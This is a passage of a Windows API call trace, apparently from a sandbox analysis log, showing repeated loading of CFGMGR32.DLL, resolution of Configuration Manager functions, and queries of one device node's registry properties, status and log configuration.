lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0224.974] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0224.974] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0224.975] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0224.975] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0224.975] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0224.975] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0224.975] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0224.975] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0224.975] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0224.975] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0224.975] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0224.976] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0224.976] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0224.976] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0224.976] malloc (_Size=0x18) returned 0x196ef0d2000 [0224.976] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x25, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0224.976] malloc (_Size=0x48) returned 0x196ef0fb680 [0224.976] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x66f40b7f, dwHighDateTime=0x1d9eb0c)) [0224.977] SetEvent (hEvent=0x248) returned 1 [0224.980] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0224.980] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0224.980] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0224.980] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0224.980] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0224.980] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0224.980] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0224.981] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0224.981] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0224.981] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0224.981] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0224.981] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0224.981] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0224.981] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0224.981] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0224.981] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0224.982] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0224.982] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0224.982] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0224.982] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0224.982] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0224.982] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0224.982] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0224.982] malloc (_Size=0x18) returned 0x196ef0d1ce0 [0224.982] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x25, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0224.983] malloc (_Size=0x48) returned 0x196ef0fb270 [0224.983] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x66f40b7f, dwHighDateTime=0x1d9eb0c)) [0224.983] SetEvent (hEvent=0x248) returned 1 [0224.986] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0224.986] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0224.986] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0224.986] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0224.986] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0224.987] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0224.987] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0224.987] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0224.987] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0224.987] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0224.987] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0224.987] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0224.987] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0224.987] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0224.988] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0224.988] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0224.988] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0224.988] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0224.988] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0224.988] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0224.988] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0224.988] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0224.989] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0224.990] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0224.990] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x25, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0224.990] malloc (_Size=0x48) returned 0x196ef0fbe00 [0224.990] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x66f67025, dwHighDateTime=0x1d9eb0c)) [0224.990] SetEvent (hEvent=0x248) returned 1 [0224.994] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0224.994] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0224.994] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0224.994] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0224.994] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0224.994] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0224.994] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0224.995] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0224.995] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0224.995] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0224.995] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0224.995] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0224.995] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0224.995] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0224.995] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0224.995] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0224.996] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0224.996] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0224.996] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0224.996] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0224.996] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0224.996] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0224.996] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0224.996] malloc (_Size=0x18) returned 0x196ef0d1c60 [0224.996] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x25, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0224.997] malloc (_Size=0x48) returned 0x196ef0fb900 [0224.997] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x66f67025, dwHighDateTime=0x1d9eb0c)) [0224.997] SetEvent (hEvent=0x248) returned 1 [0225.003] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0225.003] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0225.003] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0225.003] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0225.003] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0225.004] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0225.004] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0225.004] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0225.068] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0225.068] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0225.068] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0225.068] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0225.068] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0225.069] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0225.069] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0225.069] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0225.069] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0225.069] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0225.069] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0225.069] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0225.069] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0225.069] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0225.070] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0225.070] malloc (_Size=0x18) returned 0x196ef0d1d60 [0225.070] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x25, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0225.073] malloc (_Size=0x48) returned 0x196ef0fba40 [0225.073] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6702595b, dwHighDateTime=0x1d9eb0c)) [0225.073] SetEvent (hEvent=0x248) returned 1 [0225.076] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0225.077] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0225.077] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0225.077] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0225.077] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0225.077] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0225.078] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0225.078] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0225.078] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0225.078] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0225.078] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0225.078] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0225.078] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0225.079] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0225.079] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0225.079] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0225.079] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0225.079] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0225.079] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0225.079] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0225.080] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0225.080] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0225.080] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0225.080] malloc (_Size=0x18) returned 0x196ef0d1be0 [0225.080] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x25, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0225.081] malloc (_Size=0x48) returned 0x196ef0fc170 [0225.081] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x6702595b, dwHighDateTime=0x1d9eb0c)) [0225.081] SetEvent (hEvent=0x248) returned 1 [0225.085] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0225.086] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0225.086] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0225.086] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0225.086] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0225.086] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0225.086] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0225.087] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0225.087] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0225.087] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0225.087] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0225.087] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0225.087] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0225.088] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0225.088] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0225.088] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0225.088] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0225.088] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0225.088] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0225.088] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0225.089] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0225.089] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0225.089] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0225.089] malloc (_Size=0x18) returned 0x196ef0d1c00 [0225.089] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x25, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0225.089] malloc (_Size=0x48) returned 0x196ef0fbea0 [0225.090] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x6704c77d, dwHighDateTime=0x1d9eb0c)) [0225.090] SetEvent (hEvent=0x248) returned 1 [0225.093] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0225.093] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0225.093] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0225.093] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0225.094] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0225.094] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0225.094] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0225.094] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0225.094] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0225.094] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0225.094] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0225.095] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0225.095] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0225.095] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0225.095] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0225.095] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0225.095] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0225.095] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0225.096] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0225.096] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0225.096] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0225.096] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0225.096] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0225.096] malloc (_Size=0x18) returned 0x196ef0d1ea0 [0225.097] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x25, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0225.097] malloc (_Size=0x48) returned 0x196ef0fb680 [0225.097] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6704c77d, dwHighDateTime=0x1d9eb0c)) [0225.097] SetEvent (hEvent=0x248) returned 1 [0225.104] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0225.104] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0225.104] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0225.104] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0225.104] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0225.104] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0225.104] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0225.105] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0225.105] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0225.105] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0225.105] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0225.105] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0225.105] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0225.106] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0225.106] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0225.106] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0225.106] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0225.106] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0225.106] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0225.106] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 